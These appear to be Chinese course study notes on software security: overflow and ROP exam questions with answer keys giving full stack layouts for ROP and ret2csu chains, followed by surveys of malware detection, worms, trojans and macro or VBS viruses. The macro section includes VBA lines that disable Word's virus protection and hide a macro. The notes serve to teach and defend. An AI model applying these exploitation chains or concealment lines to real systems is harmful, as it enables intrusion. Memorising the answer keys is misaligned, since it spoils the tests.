(5) 由第(2)题和第(3)题,你认为第一个输入应该输入__________________,这样可以__________________________。之后第二个输入应为____________________________________,这样可以防止___________________,由此可以_______________________。(10分)

答案:
(1) 栈溢出漏洞、堆溢出漏洞
(2) 不能,不知道jmp esp或栈的地址
(3) 不能,buf1的地址后两字节均为空字节且buf的大小只有0x100。无法将返回地址覆盖为buf1中的任何地址(地址的第二个字节一定为\x00),会导致截断
(4) 不能,这样会破坏buf2堆块的头部结构,在free时会产生错误
(5) 0x100字节的垃圾数据,通过printf获取buf2堆块的块首信息;vuln函数的起始地址;函数异常退出;再次输入并在第二次调用时在buf2中溢出shellcode【出题漏洞:第一次申请的buf2和第二次不一样,块首信息可能不同】

10.3 整数溢出与其他漏洞

一、整数溢出

在程序计算过程中,有时会因为计算数值问题导致计算结果不正确。如计算int整型的0x12345678 × 0x87654321,这会导致溢出。有时这种溢出会导致严重的后果,如输入字符串长度时若不加检查输入负数,会导致过量读或过量写漏洞等。

防范方式

  • 整数安全意识:形成关于特殊数据输入的意识,比如之前先确定最大和最小输入,使用合适的数据类型。
  • 避免隐患运算直接操作:尽量避免对两个正数相加或相乘之后,再取结果比较。
  • 越界判断:在使用变量申请内存,或者作为数组下标时,注意对越界的监测。
  • 代码审计、安全检测

模拟题

4. 分析如下代码片段,回答下列问题:(34分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void vuln(){
char buf[0x50] = {0};
int len = 0x50;
char alphabet[0x20];
for(int i=0; i<26; i++)
alphabet[i] = 'A' + i;
read(stdin, buf, len); // 最多只能读取0x50个字节
for(int i=0; i<0x50; i++)
buf[i] &= 0xDF;
for(int i=0; buf[i]!='\n'&&buf[i]!='\0'; i++){
int temp = buf[i] - 0x40;
temp += 3;
if(temp >= 26)
temp -= 26;
buf[i] = alphabet[temp];
}
system(buf);
}

(1) buf[i] &= 0xDF的作用是____________________,这段代码实现的功能是______________________________________________________。(6分)
(2) 本题的漏洞产生的原因是_____________________________,要想执行calc.exe,首先需要解决的问题是____________________________。由于___________(填功能)的执行在___________(填功能)之前,因此可以事先______________________,这样缓冲区在读取到变量alphabet的_________(填’高地址一端’或’低地址一端’)时就能够____________________。从而将______(填一个可打印字符)成功写入system命令字符串的缓冲区buf中(参考ASCII码值:0x2B=‘+’; 0x2E=‘.’; 0x31=‘1’; 0x41=‘A’)(16分)
(3) 除了(2)的漏洞外,如果输入字符的ASCII码大于______的ASCII码,就会造成溢出,读取到alphabet高地址位置的值。如果alphabet的首地址为0x6000,那么想要让buf中存放该函数的返回地址,应该输入ASCII码为_____________________(填4个16进制数)的字符。(6分)
(4) 简述本题代码的漏洞修补方案,写出修改后的代码。(6分)

10.4 漏洞利用与发现

1. 漏洞利用

漏洞研究包含漏洞挖掘、漏洞分析、漏洞利用与漏洞防御四个方面。

漏洞的来源:黑客自行挖掘出来的漏洞,还未修复(被称为零日漏洞,即0-day漏洞)、从公开发布的POC或黑客交换漏洞得到(此类漏洞为0-day漏洞或1-day漏洞)、从已经发布的漏洞公告和漏洞补丁中获取的漏洞(又被称为n-day漏洞)。

漏洞利用的条件:用户没有打补丁或更新安全工具、管理员没有打补丁或更新安全工具、存在脏数据渗透路径

Exploit的结构

  • Exploit:利用漏洞实现shellcode植入和触发的过程
  • Exploit ≈ Payload + Shellcode
  • payload是针对于特定漏洞设计的用于触发漏洞的部分,与漏洞本身紧密相关,而shellcode与漏洞本身无关,只是一段可任意执行的代码。

漏洞利用的目标:

  • 修改内存变量 (邻接变量)
  • 修改代码逻辑(代码的任意跳转)
  • 修改函数的返回地址
  • 修改函数指针(C++)[虚函数](虚函数用于C++函数重载)
  • 修改异常处理函数指针(SEH,VEH,UEF,TEH)
  • 修改线程同步的函数指针

漏洞利用的过程:

  • 定位漏洞点:利用静态分析和动态调试确定漏洞机理,如堆溢出、栈溢出、整数溢出的数据结构,影响的范围
  • 按照利用要求,编写Shellcode
  • 溢出,覆盖代码指针,使得Shellcode获得可执行权

2. Ret2Libc + ROP

这是一种将返回地址修改到dll文件代码段的漏洞利用方式,可以不使用shellcode就能够执行指定功能。特点是向dll借代码而不是自己写shellcode,也可以通过这种利用方式完善payload。其中ROP返回到的地址可能不是函数的起始地址,而是函数中某一个位置的地址。

Ret2Libc -> VirtualProtect

在dll文件中有一个VirtualProtect函数可以用于关闭栈不可执行保护(NX),从而可以在栈上写入shellcode并执行。首先使用Ret2Libc将执行VirtualProtect函数,传入合适的参数。返回后转到jmp esp的地址,即可执行shellcode。

Ret2Libc的防护措施:ASCII armoring

将所有库函数的起始地址都包含一个零字节,使得无法完整溢出。
恶意代码对抗措施:Ret2plt

  • Linux ELF文件中大多数有一个.plt节,其中存放一系列jmp指令跳转到所有需要引用的库函数。因此可以将返回地址写到.plt节中跳转到需要的库函数中。.plt节的深入原理与Linux的间接跳转原理有关,不要求掌握。

练习题

5. 分析如下代码片段,回答下列问题:(29分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
char key[10] = {0};
(void)(*func(void)) = NULL;
void vuln(){
printf("Please input length: ");
char buf[0x40];
int len = 0;
scanf("%d", &len);
if(len > 8){
printf("You greedy man!");
exit(0);
}
read(stdin, buf, (unsigned int)len); // 读取len长度输入
}
void foo1(unsigned int a, unsigned int b, unsigned int c){
if(a != 0x12345678 || b != 0x87654321 || c != 0xdeadbeef){
printf("Argument error!");
exit(0);
}
strcpy(key, "calc.exe");
}
void foo2(){
// 下面这一部分函数的功能是:检查eax=0x12345678且ebx=0x87654321
// 如果不是则调用exit函数退出程序。
__asm__("cmp eax, 12345678h"
"jnz ex"
"cmp ebx, 87654321h"
"jnz ex"
"jmp foo2proc");
ex:
exit(0);
/////////////////////////////////////
foo2proc:
func = system;
}
1
2
3
4
5
6
7
8
9
10
11
12
(0x1000)
pop eax
ret
(0x1010)
xor ebx, eax
ret
(0x1020)
mov ebx, 0cafebabeh
ret
(0x1030)
add esp, 0ch
ret

(1) 要想在全局变量key中保存字符串’calc.exe’,需要满足的条件是________________________________________;要想在全局变量func中保存函数指针system,需要满足的条件是___________________________;(4分)
(2) 本题的栈溢出需要通过_______漏洞触发,在vuln函数输入len为_________,可以绕过检查,从而能够写入很长的字符串。输入字符串的第________(填16进制数)位能够覆盖vuln函数返回地址。(6分)
(3) 设vuln函数的返回地址在栈中保存的位置为0x100,那么如果需要在全局变量key中保存字符串’calc.exe’,需要将这个地方覆盖为_______________,这个函数的第一个参数应该写在__________________(填’0x104’或’0x108’)的位置,原因是____________________________。(6分)
(4) 如果想在全局变量func中保存函数指针system,在调用foo2函数之前需要首先使用0x1000和0x1010的两段代码碎片,这种漏洞利用方式被称为__________。(2分)
(5) 写出read函数执行时你的完整输入,格式:每行按"地址:值"格式书写,如"0x100:0x12345678"。已知函数的返回地址为0x100,foo1函数的起始地址为0x4013AB,foo2函数的起始地址为0x402880,全局变量key的地址为0x602040,func的地址为0x602050,可以写入任意字节(含零字节),提示:你需要首先计算输入的起始地址然后再开始书写。(8分)
(6) 修复这个漏洞最简单的修改方法是______________________。(3分)

答案:
(1) 调用foo1函数且参数从左到右的值依次应为0x12345678、0x87654321、0xdeadbeef;调用foo2函数且调用时eax的值应为0x12345678,ebx的值应为0x87654321
(2) 整型溢出漏洞;负数;0x48~0x4b
(3) foo1函数起始地址(或foo1函数中strcpy语句的起始地址);0x108;0x104应为foo1函数的返回地址
(4) ROP
(5)

  • 0xbc~0xff:垃圾数据
  • 0x100~0x103:0x1020
  • 0x104~0x107:0x1000
  • 0x108~0x10b:0x4D9BF99F(0x4D9BF99F XOR 0xcafebabe = 0x87654321)
  • 0x10b~0x10f:0x1010
  • 0x110~0x113:0x1000
  • 0x114~0x117:0x12345678
  • 0x118~0x11b:0x402880(foo2函数起始地址)
  • 0x11c~0x11f:0x4013AB(foo1函数起始地址)
  • 0x120~0x123:0x1030(思考这里将返回地址设为0x1030的作用是什么)
  • 0x124~0x127:0x12345678
  • 0x128~0x12b:0x87654321
  • 0x12c~0x12f:0xdeadbeef
  • 0x130~0x133:0x602050
  • 0x134~0x137:0xdeadbeef
  • 0x138~0x13b:0x602040

(6) if判断条件加上对负数的判断

6. Ret2csu是Linux平台下一种经典的ROP利用方法,它利用了每一个linux系统中可执行文件都存在的函数__libc_csu_init函数。下面是该函数的一个片段,分析如下代码片段,回答下列问题:(20分)(注:考试中不会出64位机器的题目,这里仅做练习,必要信息都会给出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
loc_401A50:					; 下面是每一条指令的地址
mov rdx, r13 ; 0x401A50
mov rsi, r15 ; 0x401A53
mov rdi, rbp ; 0x401A56
call ds:[r12+rbx*8] ; 0x401A58
add rbx, 1 ; 0x401A5C
cmp r14, rbx ; 0x401A60
jnz short loc_401A50 ; 0x401A63
add rsp, 8 ; 0x401A65
pop rbx ; 0x401A69
pop rbp ; 0x401A6A
pop r12 ; 0x401A6B
pop r13 ; 0x401A6D
pop r14 ; 0x401A6F
pop r15 ; 0x401A71
retn ; 0x401A73

(1) 经过检查机器码发现,pop r15指令占2字节,其高1字节可表示另一条指令:pop rdi。同样pop r14指令的高1字节可表示pop rsi指令。在上述汇编代码中,将rip改为___________可以执行pop rsi,改为__________可以执行pop rdi。(4分)
(2) 这段代码中有一个比较判断,当使用call指令执行代码之后,如果不再需要call调用,应该跳过这个判断,需要满足_________________。(3分)
(3) 在64位Linux系统中,函数调用的前6个参数分别存放在rdi,rsi,rdx,rcx,r8,r9寄存器中。若要调用某函数,其前三个参数需要是0x12345678,0x87654321,0xdeadbeef,在ROP覆盖返回地址时,可以将返回地址修改为________________,可连续设置多个寄存器的值为自己设定的任意值。(3分)
(4) 设此时某关键函数foo的地址保存在0x602020处,请写出ROP的内容以执行"foo(0x12345678,0x87654321,0xdeadbeef)"(从返回地址开始写,返回地址保存在栈中的地址为0x100000)(10分)
格式示例:

1
2
3
0x100000: 0x1234567887654321
0x100008: 0xdeadbeefdeadbeef
...

答案:
(1) 0x401A70;0x401A72
(2) r14==rbx+1
(3) 0x401A69
(4)

  • 0x100000~0x100007:0x401A69
  • 0x100008~0x10000f:0(rbx)
  • 0x100010~0x100017:0x12345678(rbp)
  • 0x100018~0x10001f:0x602020(r12)
  • 0x100020~0x100027:0xdeadbeef(r13)
  • 0x100028~0x10002f:1(r14)
  • 0x100030~0x100037:0x87654321(r15)
  • 0x100038~0x10003f:0x401A50

Chapter 9 恶意软件防护技术

9.1 检测对象与策略

何为恶意软件/代码检测?

  • 将检测对象与恶意代码特征进行对比分析,定位病毒程序或代码,或检测其恶意行为。

检测对象:

  • 引导扇区(引导区病毒、MBR木马等)
  • 文件系统中可能带毒的文件(主要检测对象,几乎所有形式的文件都有可能带毒)
  • 内存空间(有的恶意代码只存在于内存或只在内存中被还原)
  • 主板BIOS(早期的病毒如CIH会破坏BIOS)
  • 网络流量、系统行为等(通过行为间接检测可能的恶意代码)

检测策略:

  • 专用检测技术:针对特定的已知的恶意代码。必须实时更新病毒库版本(如文件特征值检测技术)
  • 通用检测技术:针对已知和未知的恶意代码,以广义行为特征或一般的行为特征作为判定依据(如启发式扫描技术、主动防御技术等)

9.2 特征值检测技术

病毒特征值:鉴别特定计算机病毒的一种标志,通常为一段或多段二进制串或字符串。

检测思路:获取样本 --> 提取样本特征 --> 更新病毒库 --> 查杀病毒

特征值提取选择

  • 特定子串:具有特殊意义的字符串等。
  • 感染标记:用于防止恶意代码重复感染的标记,虽然广泛存在但各不相同。
  • 从病毒代码的特定地方开始取出的连续的、不大于64且不 含空格(ASCII值为32)的字节串。

提取方法

  • 人工提取
  • 自动提取(容易造成误杀)

优点
检测速度快,误报率低,技术成熟
缺点
只能检测已知恶意代码且容易被绕过

恶意软件对抗技术

  • 手工修改自身特征,利用反病毒软件检测的结果进行针对性修改
  • 自动修改自身特征,如加密、多态、变形等

9.3 校验和检测技术

校验和:文件校验,与密码学中的Hash函数相关。常见的有CRC校验、MD5校验、SHA1校验等。

检测思路:在文件使用/系统启动过程中,检查检测对象的实际校验和与预期是否一致,因而可以发现文件/引导区是否感染。
预期:正常文件内容和正常引导扇区数据

检测方式

  • 系统自动检测:校验和检查程序常驻内存,每次运行应用程序都进行检查,需要预先保存校验和。
  • 专用检测工具:计算正常状态文件的校验和,将校验和值写入文件或检测工具后比较。
  • 自检:带有校验和检测功能的程序,将正常状态校验和写入自身,应用程序启动时比较现行校验和与原校验和值完成自检。

检测内容

  • 文件头部:在文件很大的情况下为节省时间只对头部进行校验
  • 文件属性:检查文件长度、创建时间、读写属性、首簇号等
  • 文件内容:检查整个文件
  • 系统数据:检查引导扇区、中断向量表、驱动程序处理例程等

优点
方法简单,能够发现未知病毒,能够发现文件的微小变化
缺点
必须先保存正确的校验码,容易误报,效率低,不能识别病毒类别

9.4 启发式扫描技术

恶意代码检测经验和知识的软件实现。

检测可疑的程序代码指令序列

  • 格式化磁盘类操作(破坏)
  • 搜索和定位各种可执行程序的操作(可能要感染)
  • 实现驻留内存的操作(隐藏)
  • 发现非常用的或未公开的系统功能调用的操作、子程序调用中只执行入栈操作(正常的函数不会这样)、远距离跳转指令(超过文件长度的三分之二) 等
  • 敏感系统行为
  • 敏感API函数(序列)调用功能

关键API函数

  • GetModuleHandleA:返回可执行文件句柄
  • LoadLibraryA:加载动态库
  • GetProcAddress:获取API函数内存地址
  • ExitProcess:退出进程
  • VirtualAlloc:分配堆内存空间
  • VirtualFree:释放堆内存空间

启发式扫描步骤

  • 定义通用可疑特征(指令序列或行为)
  • 对上述功能操作将被按照安全和可疑的等级进行排序,授以不同的权值
  • 鉴别特征,如果程序的权值总和超过一个事先定义的阈值,则认为“发现病毒”
  • (可见启发式扫描与机器学习有一定的关联)

优点
能够发现未知病毒
缺点
误报率高

通常使用传统扫描+启发式扫描方式检测病毒,可降低误报率

恶意软件对抗技术

  • 直接关闭防病毒软件
  • 关闭启发式机制

9.5 虚拟机检测技术

随着加密、加壳、病毒变形的出现,需要通过虚拟机技术进行检测。

虚拟机检测技术:在反病毒系统中设置的一种程序机制,它能在内存中模拟一个小的封闭程序执行环境(类似于沙箱机制),所有待查文件都以解释方式在其中被虚拟执行。(一般只需要虚拟执行一小部分代码)

优点:能够有效处理加密类病毒,与传统检测方式结合能够有效准确率,与启发式扫描方式结合能够有效检测未知病毒。

9.6 主动防御技术

动态监视所运行程序调用各种API的动作,自动分析程序动作之间的逻辑关系,自动判定程序行为的合法性。(即无论是否有恶意代码存在,都主动监控系统)

优点:可发现未知恶意软件、可准确地发现未知恶意软件的恶意行为。
缺点:可能误报警、不能识别恶意软件名称,以及在实现时有一定难度


练习题
1. 蜜罐技术是近年来较为热门的一种安全技术。安全运营商为了获取最新的恶意代码,会向外开放一个有某些特定漏洞的网络端口以供连接。这些网络端口不提供任何服务,因此正常的访问者不会进入此端口,而某些恶意代码会将其误认为是脆弱的可攻击对象而进入攻击。此时安全运营者就能够获取到该恶意代码的一些具体信息,如监控其攻击方式与流程、获取关键文件等,以此来扩充自己的病毒库并研究防御措施。据此回答下列问题:
(1) 获取病毒样本后,研究人员发现这个病毒采用了某种加壳方式。那么最好应该使用__________方式进行恶意代码的检测,不使用特征值检测的原因是__________________________。
(2) 一天,研究员在几个“蜜罐”中都发现了一种恶意代码。分析发现,代码中对字符串的一些字节进行了替换,但替换位置不同。这种恶意代码能否使用特征值检测方式进行检测?_______ (能或不能),原因是_________________________。

Chapter 8 网络蠕虫

8.1 定义

蠕虫的基本特征:

  • 能够进行传播
  • 能够进行自我复制

计算机蠕虫可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的计算机上。

第一个蠕虫:Morris蠕虫。

  • 利用的漏洞:
    • Rsh/exec:用户缺省认证
    • Sendmail的debug模式
    • Fingerd缓冲区溢出

8.2 分类

  • 漏洞利用类蠕虫:利用计算机系统的漏洞进行破坏与传播。如Stuxnet
  • 口令破解类蠕虫:通过弱口令进入目标系统。
  • 邮件传播类蠕虫
  • 即时通信类蠕虫:通过即使通信进行传播。
  • 其他:如USB蠕虫等

8.3 基本功能

  1. 信息搜集:对本地和目标节点主机的信息汇集
    • 信息搜集模块需要为发现易感染目标提供支持,搜集包括本机系统信息、用户信息、对本机的信任或者授权的主机、本机所处的网络拓朴结构、边界路由信息等。(即寻找下一个感染目标)
  2. 扫描探测:对具体的目标主机的服务漏洞检测
    • 扫描探测模块完成特定目标的脆弱性检测,发现易感染目标。
  3. 攻击渗透:利用发现的服务漏洞实现攻击
  4. 自我推进:完成对目标结点的感染
    • 自我推进模块需要在本机与目标主机之间完成蠕虫副本传递,使蠕虫正式“进驻”该目标机器。

8.4 蠕虫防护

  • 个人用户
    • 及时修补补丁
    • 使用防火墙软件
    • 关注流量的异常性
  • 网络管理者
    • 网关阻断
    • 补丁下发
  • 网络应用厂商
    • 应用流量过滤与阻断
    • 补丁自动分发与修补
  • 安全厂商
    • 网络流量分析与提取
    • 网络安全设备快速阻断
    • 快速利用客户端安全软件清除蠕虫个体,进行补丁修复

Chapter 7 木马与后门

7.1 木马基本概念

通过欺骗或诱骗的方式安装,并在用户的计算机中隐藏以实现控制用户计算机的目的。
属于具有远程控制、信息窃取、破坏等功能的恶意代码

特点:欺骗性、隐藏性、非授权性、交互性

7.2 木马分类

  • 远程控制型木马:能够进行远程控制的木马,攻击者与被控制端有双向交互。例:灰鸽子、广外女生
  • 信息获取型木马:进行信息窃取的木马,被控制端到攻击者的单向交互。
  • 破坏型木马:进行数据破坏、资源消耗(包括挖矿)的木马,有攻击者到被控制者的单向交互或无交互。

7.3 木马植入方式

  • 网页挂马植入:即黑客在入侵某些网站后将自己的木马嵌入到其网站的页面上,使用户点开页面后自动下载木马。
  • 电子邮件植入:将木马程序以附件形式在邮件中传播。有时将电子邮件与网页挂马相结合,使得不选中附件也能传播木马。
  • 文档捆绑植入:使用office和pdf文档的漏洞等进行植入。
  • 伪装欺骗植入:通过修改命名、后缀、图标等欺骗电脑用户点击后植入。
  • 捆绑植入:如exe捆绑、文档嵌入、多媒体文件、电子书植入等。木马捆绑是把一个有界面的正常程序,和一个后门程序捆绑在一起从而制作一个木马。
  • 其他:社会工程学。

7.4 木马的通信方式

  • 传输通道构建信息:黑客获取数据等的交互需要黑客提供自己机器的IP地址、端口、第三方网址等信息才能进行
  • 建立通道连接的方式有:正向连接和反向连接。
    • 正向连接:黑客端主动连接被控制端以获取目标机器的信息。
      • 优点:攻击者无需外部IP地址、木马样本不会泄露自身的IP地址
      • 缺点:可能会被防火墙阻挡、被攻击者必须提供外部IP地址(否则被攻击者若在局域网中,则IP地址可能不固定,难以形成长期连接)、定位被攻击者相对困难(被攻击者的IP地址和上线时间不确定)
    • 反向连接:
      • 方案1:被控制端直接连接黑客控制端
        • 优点:较容易通过防火墙、攻击目标可以实现上线即控制、可控制局域网中的目标
        • 缺点:会暴露控制服务器信息、攻击者需要具备外部IP地址
      • 方案2:被控制端与控制端之间由肉鸡连接,间接通信
        • 优点:可以绕过防火墙、攻击目标可以实现上线即控制、不易被发现(因为是代理,因此不会暴露攻击者自己的信息)
        • 缺点:肉鸡从哪来,需要保障肉鸡的稳定性
  • 使用的通信协议
    • TCP协议:传输稳定,但容易被发现,有正向和反向两种形式
      • HTTP协议伪装:如果黑客能够截取目标机器的数据包,就可以对HTTP协议包做出一定的修改,这种攻击的成功率很大,但前提是必须能够让黑客的机器充当目标机器的代理服务器。
    • UDP协议:负载较小,但传输不稳定,有正向和反向两种形式
    • ICMP + TCP/UDP:由于ICMP报文一般由内核处理,因此一般不会被防火墙处理,可以在ICMP报文上做手脚。
    • BITS(Background Intelligent Transfer Service):一个后门,适用于Windows2000/XP/2003,在进程管理器中不可见,平时没有端口,提供正向和反向连接两种方式

7.5 远控木马

  1. 结构:木马配置程序、控制端程序(客户端)、被控制端程序(服务器)
  2. 功能:文件、进程、服务、注册表管理,监控摄像头、语音、键盘、桌面,开shell等

7.6 木马防御思路

  • 静态文件特征检测
  • 网络流量特征检测
  • 系统行为特征检测
  • 功能行为特征检测
  • 攻击意图检测等

Chapter 6 宏病毒和脚本病毒

6.1 宏的基本概念和使用

宏(Macro):能组织到一起作为独立的命令使用的一系列word命令,可以实现任务执行的自动化,简化日常工作。

6.2 宏病毒

存在于数据文件或模板中(字处理文档、数据表格、数据库、演示文档等),使用宏语言编写,利用宏语言的功能将自己寄生到其他数据文档。

在Word宏中,使用AutoOpen、AutoClose、AutoExec、AutoExit、AutoNew等函数能够自动进行文件的打开与关闭、命令的执行等操作。在Excel宏中可以使用AutoOpen、AutoClose、AutoActivate、AutoDeactivate等。

宏病毒感染

宏分为两种:

  • 内建宏:位于文档中,对该文档有效,如文档打开(AutoOpen)、保存、打印、关闭等。
  • 全局宏:位于office模板中,为所有文档所共用,如打开Word程序(AutoExec)。

其传播路线为:
单个文档->office模板->多个文档
在网络中多以电子邮件的形式传播(Mellisa病毒)

感染方案:让宏病毒在数据文档和文档模板之间互相感染。

宏病毒代码中包含自我保护、代码导出与导入等模块,其中自我保护指关闭警告弹窗显示、关闭进度条显示、关闭病毒防护等。代码导出即将病毒代码保存到某个位置便于后续感染该计算机上的其他文档。代码导出即从该路径导入宏病毒以进行传播。

自我保护

  1. 禁止提示信息
  • On Error Resume Next '如果发生错误,不弹出出错窗口,继续执行下面语句
  • Application.DisplayAlerts = wdAlertsNone '不弹出警告窗口
  • Application.DisplayStatusBar = False '不显示状态栏,以免显示宏的运行状态
  • Options.VirusProtection = False '关闭病毒保护功能,运行前如果包含宏,不提示
  • Options.SaveNormalPrompt = False '如果公用模块被修改,不给用户提示窗口而直接保存
  • Application.ScreenUpdating = False '不让刷新屏幕,以免病毒运行引起速度变慢
  • Application.EnableCancelKey = wdCancelDisabled ‘不允许通过ESC键结束正在运行的宏
  1. 屏蔽命令菜单,不允许查看宏
  • 通过特定宏定义屏蔽
    1
    2
    3
    Sub ViewVBCode()
    MsgBox "Unexcpected error",16
    End Sub
    • ViewCode:该过程和ViewVBCode函数一样,如果用户按工具栏上的小图标就会执行这个过程。
    • ToolsMacro:当用户按下“ALT+F8”或者“工具—宏”时调用的过程函数。
    • FileTemplates:当显示一个模板的所有宏时,调用的过程函数。
  • Disable或删除特定菜单项
    • CommandBars(“Tools”).Controls(16).Enabled = False:使“工具—宏菜单失效”
    • CommandBars(“Tools”).Controls(16).Delete:删除“工具—宏”菜单
  1. 隐藏真实代码
    “自动宏”中,不包括任何感染或破坏的代码,但包含了创建、执行和删除新宏(实际进行感染和破坏的宏)的代码。
    将宏代码字体颜色设置成与背景一样的白色等。

6.3 VBS脚本

VBS:Visual Basic Script,VB脚本语言。

使用COM组件、WMI、WSH、ADSI访问系统中的元素,对系统进行管理。

VBScript可以通过Windows脚本宿主(Windows Scripting Host,WSH)调用COM,因而可以使用Windows操作系统中可以被使用的程序库。

6.4 VBS脚本病毒

用VBScript编写,能够进行自我传播的破坏性程序,其需要人工干预触发执行。

如何感染文件

直接进行自我复制,其中大多数代码可以直接附加在其他同类程序之中

如何获得控制权

  • 修改注册表启动项
  • 添加程序到“开始”-“程序”-“启动”选项
  • 修改系统配置文件win.ini、system.ini、wininit.ini、winstart.bat、autoexec.bat等的相关启动选项。
  • 通过映射文件执行方式
  • 欺骗用户,让用户自己执行
  • desktop.ini和folder.htt互相配合

对抗反病毒软件的技巧

  • 自加密
    • 为防止反病毒软件进行特定字符串的检索,对文件本身进行自加密修改其中的部分字节。
  • 运用Execute函数
    • Execute函数能够执行一个存在于字符串中的命令,可以避免使用FileSystemObject以绕过检查。
  • 改变某些对象的声明方法
    • 对字符串进行拼接、编码等防止字符串检索。
  • 扫描进程并关闭反病毒软件